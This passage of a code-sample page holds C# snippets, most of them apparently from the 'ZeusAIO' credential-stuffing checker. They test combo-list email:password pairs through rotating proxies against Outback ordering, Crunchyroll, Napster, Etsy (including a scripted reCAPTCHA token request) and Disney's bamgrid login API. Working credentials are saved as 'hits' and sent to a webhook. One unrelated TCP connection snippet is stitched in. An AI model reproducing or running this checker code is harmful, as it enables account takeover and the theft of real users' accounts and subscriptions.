                        ZeusAIO.mainmenu.errors++;
                    }
                }
            }
            return(false);
        }
예제 #25
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent =
                                "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Mobile Safari/537.36";
                            req.IgnoreProtocolErrors = true;
                            req.AllowAutoRedirect    = true;
                            var str = "grant_type=password&username="******"&password="******"https://togo.outbackonlineordering.com/api/account/login", str,
                                                 "application/x-www-form-urlencoded").ToString();
                            var flag7 = text2.Contains("access_token");

                            if (flag7)
                            {
                                Program.TotalChecks++;
                                Program.Hits++;
                                Export.AsResult("/Outbacksteakhouse_hits", array[0] + ":" + array[1]);
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintHit("Outback", array[0] + ":" + array[1]);
                                }
                                if (Settings.sendToWebhook)
                                {
                                    Settings.sendTowebhook1(array[0] + ":" + array[1], "Outback Steak House Hits");
                                }
                            }
                            else
                            {
                                Program.TotalChecks++;
                                Program.Fails++;
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                            req.Dispose();
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
예제 #26
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent                       = "Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-N950N Build/NMF26X)";
                            req.IgnoreProtocolErrors            = true;
                            req.KeepAlive                       = true;
                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            var text2 = req.Post("https://api.crunchyroll.com/start_session.0.json",
                                                 "device_type=com.crunchyroll.windows.desktop&device_id=<guid>&access_token=LNDJgOit5yaRIWN",
                                                 "application/x-www-form-urlencoded").ToString();
                            var sessionid = Regex.Match(text2, "\"session_id\":\"(.*?)\"").Groups[1].Value;
                            var text3     = req.Post("https://api.crunchyroll.com/login.0.json",
                                                     "account=" + array[0] + "&password="******"&session_id=" + sessionid +
                                                     "&locale=enUS&version=1.3.1.0&connectivity_type=wifi",
                                                     "application/x-www-form-urlencoded").ToString();
                            var flag12 = text3.Contains("premium\":\"\",\"");
                            if (flag12)
                            {
                                Program.Frees++;
                                Program.TotalChecks++;
                                Export.AsResult("/Crunchyroll_frees", array[0] + ":" + array[1]);
                            }
                            else
                            {
                                var flag9 = text3.Contains("Incorrect login information");
                                if (flag9)
                                {
                                    Program.TotalChecks++;
                                    Program.Fails++;
                                }

                                var flag7 = text3.Contains("premium\":\"");
                                if (flag7)
                                {
                                    var Plan   = Parse(text3, "premium\":\"", "\",\"");
                                    var Expiry = Parse(text3, "expires\":\"", "T");
                                    Program.Hits++;
                                    Program.TotalChecks++;
                                    Export.AsResult("/Crunchyroll_hits",
                                                    array[0] + ":" + array[1] + " | Expiry: " + Expiry + " | Plan: " + Plan);
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintHit("Crunchyroll", array[0] + ":" + array[1]);
                                    }
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(
                                            array[0] + ":" + array[1] + " | Expiry: " + Expiry + " | Plan: " + Plan,
                                            "Crunchyroll Hits");
                                    }
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
예제 #27
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            var capture = new StringBuilder();

                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.IgnoreProtocolErrors = true;
                            req.UserAgent            = "Napster/3537 CFNetwork/1120 Darwin/19.0.0";
                            req.AddHeader("Host", "playback.rhapsody.com");
                            req.AddHeader("appId", "com.rhapsody.iphone.Rhapsody3");
                            req.AddHeader("appVersion", "6.5");
                            req.AddHeader("cpath", "app_iPad7_4");
                            req.AddHeader("deviceid", "4387508C-483B-479A-BBC1-E078269AE0S4");
                            req.AddHeader("ocode", "tablet_ios");
                            req.AddHeader("package_name", "com.rhapsody.iphone.Rhapsody3");
                            req.AddHeader("pcode", "tablet_ios");
                            req.AddHeader("playerType", "ios_6_5");
                            req.AddHeader("provisionedMCCMNC", "310+150");
                            req.AddHeader("rsrc", "ios_6.5");

                            var res = req.Post("https://playback.rhapsody.com/login.json",
                                               string.Concat("username="******"&password="******"&devicename=Elite%20Money&provisionedMCCMNC=310%2B150&package_name=com.rhapsody.iphone.Rhapsody3"),
                                               "application/x-www-form-urlencoded").ToString();

                            if (!res.Contains("INVALID_USERNAME_OR_PASSWORD"))
                            {
                                var text3 = Parse(res, "{\"accountType\":\"", "\"");
                                var text5 = Parse(res, "\"country\":\"", "\"");
                                Program.Hits++;
                                Program.TotalChecks++;
                                Export.AsResult("/Napster_hits",
                                                array[0] + ":" + array[1] + " | Sub: " + text3 + " | Country: " + text5);
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintHit("Napster",
                                                      array[0] + ":" + array[1] + " | Sub: " + text3 + " | Country: " + text5);
                                }
                                if (Settings.sendToWebhook)
                                {
                                    Settings.sendTowebhook1(array[0] + ":" + array[1], "Napster Hits");
                                }
                            }
                            else
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
예제 #28
0
        public Cap ConnectCap(string uri)
        {
            if (_disposed)
            {
                return(null);
            }
            if (this.State == ManagerState.Stop)
            {
                return(null);
            }

            if (!uri.StartsWith("tcp:"))
            {
                return(null);
            }

            var garbages = new List <IDisposable>();

            try
            {
                var config = this.Config;

                var result = UriUtils.Parse(uri);
                if (result == null)
                {
                    throw new Exception();
                }

                string scheme = result.GetValue <string>("Scheme");
                if (scheme != "tcp")
                {
                    return(null);
                }

                string address = result.GetValue <string>("Address");
                int    port    = result.GetValueOrDefault <int>("Port", () => 4050);

                // Check
                {
                    IPAddress ipAddress;

                    if (!IPAddress.TryParse(address, out ipAddress))
                    {
                        return(null);
                    }

#if !DEBUG
                    if (!IsGlobalIpAddress(ipAddress))
                    {
                        return(null);
                    }
#endif

                    if (!config.Type.HasFlag(TcpConnectionType.Ipv4) &&
                        ipAddress.AddressFamily == AddressFamily.InterNetwork)
                    {
                        return(null);
                    }
                    if (!config.Type.HasFlag(TcpConnectionType.Ipv6) &&
                        ipAddress.AddressFamily == AddressFamily.InterNetworkV6)
                    {
                        return(null);
                    }

                    if (!_catharsisManager.Check(ipAddress))
                    {
                        _blockCount.Increment();

                        return(null);
                    }
                }

                if (!string.IsNullOrWhiteSpace(config.ProxyUri))
                {
                    var result2 = UriUtils.Parse(config.ProxyUri);
                    if (result2 == null)
                    {
                        throw new Exception();
                    }

                    string proxyScheme = result2.GetValue <string>("Scheme");

                    if (proxyScheme == "socks" || proxyScheme == "socks5")
                    {
                        string proxyAddress = result2.GetValue <string>("Address");
                        int    proxyPort    = result2.GetValueOrDefault <int>("Port", () => 1080);

                        var socket = Connect(new IPEndPoint(GetIpAddress(proxyAddress), proxyPort));
                        garbages.Add(socket);

                        var proxy = new Socks5ProxyClient(address, port);
                        proxy.Create(socket, new TimeSpan(0, 0, 30));

                        var cap = new SocketCap(socket);
                        garbages.Add(cap);

                        return(cap);
                    }
                    else if (proxyScheme == "http")
                    {
                        string proxyAddress = result2.GetValue <string>("Address");
                        int    proxyPort    = result2.GetValueOrDefault <int>("Port", () => 80);

                        var socket = Connect(new IPEndPoint(GetIpAddress(proxyAddress), proxyPort));
                        garbages.Add(socket);

                        var proxy = new HttpProxyClient(address, port);
                        proxy.Create(socket, new TimeSpan(0, 0, 30));

                        var cap = new SocketCap(socket);
                        garbages.Add(cap);

                        return(cap);
                    }
                }
                else
                {
                    var socket = Connect(new IPEndPoint(IPAddress.Parse(address), port));
                    garbages.Add(socket);

                    var cap = new SocketCap(socket);
                    garbages.Add(cap);

                    return(cap);
                }
            }
            catch (Exception)
            {
                foreach (var item in garbages)
                {
                    item.Dispose();
                }
            }

            return(null);
        }
예제 #29
0
        public static bool CheckAccount(string[] s, string proxy)
        {
            for (int i = 0; i < Config.config.Retries + 1; i++)
            {
                while (true)
                {
                    try
                    {
Retry:
                        using (HttpRequest req = new HttpRequest())
                        {
                            proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount));
                            if (ZeusAIO.mainmenu.proxyProtocol == "HTTP")
                            {
                                req.Proxy = HttpProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4")
                            {
                                req.Proxy = Socks4ProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5")
                            {
                                req.Proxy = Socks5ProxyClient.Parse(proxy);
                            }
                            req.UserAgent                       = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) WavesCentral/11.0.58 Chrome/76.0.3809.146 Electron/6.1.8 Safari/537.36";
                            req.IgnoreProtocolErrors            = true;
                            req.AllowAutoRedirect               = false;
                            req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                        new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));
                            req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
                            req.AddHeader("Pragma", "no-cache");
                            req.AddHeader("Accept", "*/*");

                            var    res0  = req.Get("https://www.etsy.com/");
                            string text0 = res0.ToString();

                            var GUID  = Functions.LR(text0, "\"page_guid\":\"", "\"").FirstOrDefault();
                            var TOKEN = Functions.LR(text0, "csrf_nonce\":\"", "\",\"").FirstOrDefault();
                            req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0");
                            req.AddHeader("Accept", "*/*");
                            req.AddHeader("Accept-Language", "en-US,en;q=0.5");
                            req.AddHeader("Accept-Encoding", "gzip, deflate");
                            req.AddHeader("x-csrf-token", "" + TOKEN + "");
                            req.AddHeader("x-detected-locale", "USD|en-US|EG");
                            req.AddHeader("X-Page-GUID", "" + GUID + "");
                            req.AddHeader("X-Requested-With", "XMLHttpRequest");
                            req.AddHeader("Origin", "https://www.etsy.com");
                            req.AddHeader("DNT", "1");
                            req.AddHeader("Connection", "close");
                            req.AddHeader("Referer", "https://www.etsy.com/");

                            var    res1  = req.Post("https://www.etsy.com/api/v3/ajax/bespoke/member/neu/specs/Join_Neu_Controller", "stats_sample_rate=&specs%5BJoin_Neu_Controller%5D%5B%5D=Join_Neu_ApiSpec_Page&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bform_action%5D=&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bwith_action_context%5D=true&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bpersistent%5D=true&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Binitial_state%5D=sign-in&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bfrom_page%5D=https%3A%2F%2Fwww.etsy.com%2F&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bview_type%5D=overlay&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bfrom_action%5D=signin-header", "application/x-www-form-urlencoded");
                            string text1 = res1.ToString();

                            var TOKEN2 = Functions.LR(text1, " type=\\\"hidden\\\" name=\\\"_nnc\\\" value=\\\"", "\\\"").FirstOrDefault();
                            req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
                            req.AddHeader("Pragma", "no-cache");
                            req.AddHeader("Accept", "*/*");

                            var    res2  = req.Get("https://www.google.com/recaptcha/enterprise/anchor?ar=1&k=6Ldgkr0ZAAAAAGnf08YhMemepXW29Ux9rtJCcBD3&co=aHR0cHM6Ly93d3cuZXRzeS5jb206NDQz&hl=en&v=1AZgzF1o3OlP73CVr69UmL65&size=invisible&cb=uouh7w7vla4x");
                            string text2 = res2.ToString();

                            var TOKEN3 = Functions.LR(text2, "\"recaptcha-token\" value=\"", "\"").FirstOrDefault();
                            req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
                            req.AddHeader("Pragma", "no-cache");
                            req.AddHeader("Accept", "*/*");

                            var    res3  = req.Post("https://www.google.com/recaptcha/enterprise/reload?k=6Ldgkr0ZAAAAAGnf08YhMemepXW29Ux9rtJCcBD3", "v=1AZgzF1o3OlP73CVr69UmL65&reason=q&c=" + TOKEN3 + "&k=6Ldgkr0ZAAAAAGnf08YhMemepXW29Ux9rtJCcBD3&co=aHR0cHM6Ly93d3cuZXRzeS5jb206NDQz.&hl=en&size=invisible&chr=%5B89%2C64%2C27%5D&vh=13599012192&bg=!5-Gg4cjIAAWoGLRLqEfe9gctNGUprl0ekMBdprmTgwcAAAMwVwAAACicCZNECGVv__iUbq6h5XzlPTaVb96i4cvAYNWFakaunwXAJHswEGMyIlNPmyHC7hVwenrn4C4dOTHvAn9wjK_-VRL6G64nWNVewrbOL46VJj5iGIKcjXZ78O8dzwifamh2cADNSgephbSja5_wB3_I4GYaYDhrbxsuNJqL2v3i0o0uNCL9PKQJQzKInTWqgiXkudYif-T4GZCQkKyV_IacUqPYPeMbSrl0loSKMdqbf-s8bNW5uIZM74JYQvHPJ03s8qKj3gI358La2Bt7j1OUbAXI1U1bIk94y1-atqdlnQLAEOxjSYzf2lN1RqnhtVRMw2QfMUECf2K2WeqhUt9P2Nkc8FPmdQmuOj_lc6O1g9bAGtiI_lPRkQ5fYV4HJnFCzAb8a1WHiAFzVpU5Hso-Y3zcwU9sCr1Ul4H2PVTRyIHG6d3zTwDX1E5MD6QylR3TfQYshP2Ve8GsGM4y1qZ_u2uIzj-9wYfvp-DAhQVAQ-J50EdGJDG4HdnAs_fEXPA3D4Vwm3YOg0hG4QyEtGA4Bu7k6yW8Vt-XtzHCuW9apRoPk1RppTpu2DmU4YyMhO-0GiOew4iisknuiAADxbLxX2HI36pfCT0lJh24shfcF-nsjmnVdt535bf2Xm7nJOWNwJ8yIR-xdR9pC8yjkvUwGq0VL6QlhT7LapuGh2J1VwKP9_F9wD3k9oJdM5Lugik6ZcsnTKy1q4UG8GA-JnOt4q6iNwA7BqrLgM-NM3lSCZv1sMwEVMRiJxSkX1P8abKDylDsQsmQq3l4mvcJTFlCROm7gS94-c1AZlam4rE2iv4nLDiVUVtEb_Dfv89s3vLqVryPOVHtlVOVi5F_k2esAs8lrCMkepiGFoED_caknkgDpluCMwGo8I3LLzOVff3mkQU_CTxmB2ygqcbuEZGuBnGZ-0t1J6ctB3ynq-j6DnIEHX9sAvVZYruVeC0lk93RxnUdwypX4TU7p-xVOhcw1wGCpfUemWYsda91ZsTAqsw_Dgz3gmGAKgFi4y9C3BvC9Yi6ZhZJv7p-ihjmZZmpLdwXYCNY5KLAD_onTRpKmmw-GTfyE-_u_w4TTKjPA2TJLYQ7dw4SiO5s-HnVYUO82Cm5rVLVm1AReLcHMWVgvXwP0YksiqmZR0T-JIsLMZK9owhCSBT76H85RfvPJYpuldEGi7-LsGKKqFCf-WwnOjC0RoIMbccMW5JwSv-IqPhdjN1c3DhaGFtrujKR9xZrSwI0kyoup2EZY_ex99uxe8Tyz5FXIjmisMJ3ITaWB9RBmqJ250qSpCaN0L_lDP1kHJkYb4lO6FM4A3PAZbICFw5NM1kDGryoP8TbLV9n8NMLIH0v8tuyeyvFwVRxcPH2QrkFhmtXlf5BMRpWrjUqYPok-ep2mQaBpXyCYSgtgkxz12vDW8ZrquLQqfui-A1kXMPA3_3wQFzx-DkDpt-BNe5SWdV4XQgrK-ojWDqi8seeYkJnLE0k_4CVxebdkdWT43anR5jQ2NcTmKVea8KvQELZJvDJqlY0AlKHAd7NvPLRv_s40dFn1mz_CFhYDDuAIPIwegva12MFZNV8C8vP8nORErtyuWVQf6dfeqYVTty1WMoNSoi0snBOqwwm97YDYwjZ4yetWARZ5w-XAW9Eb5QftMQrA-jp9qTX7giUIuBxoWJ4qnmhr5OIHYclT8gGYpXoH_2KjKX7HK_7Siv_phbDeyGJWHMZwaLsRT2eMqjRGln03SiSFWJMEAyUw_NbFvzdWhgNewU7ItQLLF97Cm4UFqxZoypeE3Sfm-88MbOROL6hILaA8OAjHMzpxc9nRRIt9bB8h5QNyVfsAk6LU7fsg4Xy7xBu9ru9oVgCREqqIsOPYfZzaTmSB-6x-SBs1FYdCW9H0Ej7QLoHGeEmZLBhzPC0bXyYlvctkWNyXU_bRmoaYp38SkH6AgI0NY2CABxelbH6zzp_658hHHgyOLX_e5QohU9rJFLn-05PwZTRJ4e2o2FcUUJvRR-o5fTbkJ9rP6qbHCwjwkbgCCzYxUQUwjx-XBpm4GRKPg3xSj0Tr54CZdHMK01c3CGcwfnvHd9wT6xqOlJ3hfpK0CpYFFj5yXKVwb20dxTYS8kyhyqf7_XwJjimGEbMKXvazigQpCszbLi51OTiizWOZIooAnODtZYFC3IZJQedOqmLrehQaCWLUA8L8jN-eXb6BESjVsLRZAQOQ7SjVuJqvdNXozwbgdrvAhx0kO5L9yc2cB2UHiqRhgD8kdFnnb97xMay1AaLzq_QFe-TSeAyK7HJ0gKYWhqeeeW179ahnusI7d1kzdaoSLCvPl3leOPOPH_m331Ow8BUWR2dPEHssGMOMLn7Nbr6-QbkdItg7xIt8bHwc1OzszgXDGLPQaEVcGkDTQgUUzPOreFrae84nJA-ZgyHUoPYBV4vlu-sk5Xj1reFvhZNpP3FPeIFmXTgXXxHnn8nMziXpJ-AgR7YZIT64rvEIuOz0HVr7_blLzCbsCcsoO9irPEPbwaLuRj8b-VIUkgNmfVVSZXXojJ3GiXPRyIYsbuf8WWFxRSFZlIMDbGcfSrRgCwyuFFxz8hqiGnCMgt_eiD6taw-Fg2_qTJLVspaVWoSyn7QVp9qO0GOTXB2gZsrGSEknDbS0SNQ5Yqb-zEFufaYHHFCkbBjjA0MDQI3UlNoHPymfSLHDh_w18NajE8SHONMuLWZI-z1CmOlg_8nJDDIVXUK34cT1qHbG2jsOEX6IjK0WqoPOh76tDq8-MO4mXimjZ1uM-cmFII7ftd9fMUVkafNqCguYC-YWdUpN8kleNvtDY_j3m5ENltyiQW91eIb2xxrGHQh25sWWp6Br68G38ZW6ytYGaj84w_exIIUZ-elRztaY6aEzoj5oZxurXnvhLWdCTFLdgHPXRYAR5-FitHRdgf7ZxSOK7QcrC7oMonBueINVdQKFE1VFpyi-5JcV6Bky3Ji8dbbcA6MIm5FDFF6Rtc23TLTn6VEfhTDMyaD49u5DGvJn65MRh0ClOLspJpWN63p6Pig3gzt1XmX4GKlmnKWiMt3dZrQ7pAXGAkL8cE41kdBX-NxJV1bMfhSj2xQCDHNFqOGSfn7vixW9BWKwIP-kxQ2vgURiFCQoRf3fqjTYq_SBSUXVeLuXxWw9IdXiy5R30BoAgWfEGG_dZCk8SBAD5Uo0MfgfJ43EjFaBZlBIVACsFvAA_pPRoHJrJPD5jbTI0bpMgyIOVxKVoNkAvVxtj3a-1izrBT_D7Q_cpXqXz-BcjNInG7sA-k", "application/x-www-form-urlencoded");
                            string text3 = res3.ToString();

                            var REC = Functions.LR(text3, "[\"rresp\",\"", "\",").FirstOrDefault();
                            req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0");
                            req.AddHeader("Accept", "*/*");
                            req.AddHeader("Accept-Language", "en-US,en;q=0.5");
                            req.AddHeader("Accept-Encoding", "gzip, deflate");
                            req.AddHeader("x-csrf-token", "" + TOKEN + "");
                            req.AddHeader("x-detected-locale", "USD|en-US|EG");
                            req.AddHeader("X-Page-GUID", "" + GUID + "");
                            req.AddHeader("X-Requested-With", "XMLHttpRequest");
                            req.AddHeader("Origin", "https://www.etsy.com");
                            req.AddHeader("DNT", "1");
                            req.AddHeader("Connection", "close");
                            req.AddHeader("Referer", "https://www.etsy.com/");

                            var    res4  = req.Post("https://www.etsy.com/api/v3/ajax/bespoke/member/neu/specs/Join_Neu_Controller", "stats_sample_rate=&specs%5BJoin_Neu_Controller%5D%5B%5D=Join_Neu_ApiSpec_Page&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bform_action%5D=&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bsubmit_attempt%5D=sign-in&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bwith_action_context%5D=false&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bview_type%5D=overlay&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bshould_use_new_password_skin%5D=false&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bfrom_page%5D=https%3A%2F%2Fwww.etsy.com%2F&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bfrom_action%5D=signin-header&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bworkflow_identifier%5D=&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bworkflow_type%5D=&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Binitial_state%5D=sign-in&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5B_nnc%5D=" + TOKEN2 + "&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bemail%5D=" + s[0] + "&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bfirst_name%5D=&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bpassword%5D=" + s[1] + "&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Benterprise_recaptcha_token%5D=" + REC + "&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Benterprise_recaptcha_token_key_type%5D=score&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bgoogle_user_id%5D=&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bgoogle_code%5D=&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bfacebook_user_id%5D=&specs%5BJoin_Neu_Controller%5D%5B1%5D%5Bstate%5D%5Bfacebook_access_token%5D=", "application/x-www-form-urlencoded");
                            string text4 = res4.ToString();

                            if (text4.Contains("render_aborted\":true"))
                            {
                                ZeusAIO.mainmenu.hits++;
                                if (Config.config.LogorCui == "2")
                                {
                                    Console.WriteLine("[HIT - ETSY] " + s[0] + ":" + s[1], Color.Green);
                                }
                                Export.AsResult("/Etsy_hits", s[0] + ":" + s[1]);
                                return(false);
                            }
                            else if (text4.Contains("Email address is invalid.") || text4.Contains("Password was incorrect."))
                            {
                                break;
                            }
                            else if (text4.Contains("Connection error during authentication"))
                            {
                                ZeusAIO.mainmenu.realretries++;
                                goto Retry;
                            }
                            else
                            {
                                ZeusAIO.mainmenu.realretries++;
                                goto Retry;
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        ZeusAIO.mainmenu.errors++;
                    }
                }
            }
            return(false);
        }
예제 #30
0
        private void method_2()
        {
            while (!this.concurrentQueue_0.IsEmpty)
            {
                string text;
                this.concurrentQueue_0.TryDequeue(out text);
                string[] array = text.Split(new char[]
                {
                    ':'
                });
                for (; ;)
                {
                    HttpRequest httpRequest = new HttpRequest
                    {
                        KeepAliveTimeout     = 5000,
                        ConnectTimeout       = 5000,
                        ReadWriteTimeout     = 5000,
                        IgnoreProtocolErrors = true,
                        AllowAutoRedirect    = false,
                        Proxy      = null,
                        KeepAlive  = true,
                        UseCookies = true
                    };
                    httpRequest.UserAgentRandomize();
                    if (httpRequest.Proxy == null)
                    {
                        goto IL_389;
                    }
IL_2B:
                    try
                    {
                        httpRequest.AddHeader("authorization", "Bearer ZGlzbmV5JmJyb3dzZXImMS4wLjA.Cu56AgSfBTDag5NiRA81oLHkDZfu5L3CKadnefEAY84");
                        string text2 = httpRequest.Post("https://global.edge.bamgrid.com/devices", "{\"deviceFamily\":\"browser\",\"applicationRuntime\":\"chrome\",\"deviceProfile\":\"windows\",\"attributes\":{}}", "application/json").ToString();
                        if (!text2.Contains("assertion"))
                        {
                            this.int_2++;
                            httpRequest.Proxy = null;
                            continue;
                        }
                        string value = Regex.Match(text2, "assertion\":\"(.+?)\"").Groups[1].Value;
                        httpRequest.AddHeader("authorization", "Bearer ZGlzbmV5JmJyb3dzZXImMS4wLjA.Cu56AgSfBTDag5NiRA81oLHkDZfu5L3CKadnefEAY84");
                        text2 = httpRequest.Post("https://global.edge.bamgrid.com/token", "grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Atoken-exchange&latitude=0&longitude=0&platform=browser&subject_token=" + value + "&subject_token_type=urn%3Abamtech%3Aparams%3Aoauth%3Atoken-type%3Adevice", "application/x-www-form-urlencoded").ToString();
                        if (!text2.Contains("access_token"))
                        {
                            this.int_2++;
                            httpRequest.Proxy = null;
                            continue;
                        }
                        string value2 = Regex.Match(text2, "access_token\":\"(.+?)\"").Groups[1].Value;
                        httpRequest.AddHeader("authorization", "Bearer " + value2);
                        text2 = httpRequest.Post("https://global.edge.bamgrid.com/idp/login", string.Concat(new string[]
                        {
                            "{\"email\":\"",
                            array[0],
                            "\",\"password\":\"",
                            array[1],
                            "\"}"
                        }), "application/json").ToString();
                        if (text2.Contains("bad-credentials") || text2.Contains("is not a valid email Address at /email"))
                        {
                            this.int_1++;
                            class3.int_0++;
                            break;
                        }
                        if (!text2.Contains("Bearer"))
                        {
                            this.int_2++;
                            httpRequest.Proxy = null;
                            continue;
                        }
                        string value3 = Regex.Match(text2, "id_token\":\"(.+?)\"").Groups[1].Value;
                        httpRequest.AddHeader("authorization", "Bearer " + value2);
                        text2 = httpRequest.Post("https://global.edge.bamgrid.com/accounts/grant", "{\"id_token\":\"" + value3 + "\"}", "application/json").ToString();
                        value = Regex.Match(text2, "assertion\":\"(.+?)\"").Groups[1].Value;
                        httpRequest.AddHeader("authorization", "Bearer ZGlzbmV5JmJyb3dzZXImMS4wLjA.Cu56AgSfBTDag5NiRA81oLHkDZfu5L3CKadnefEAY84");
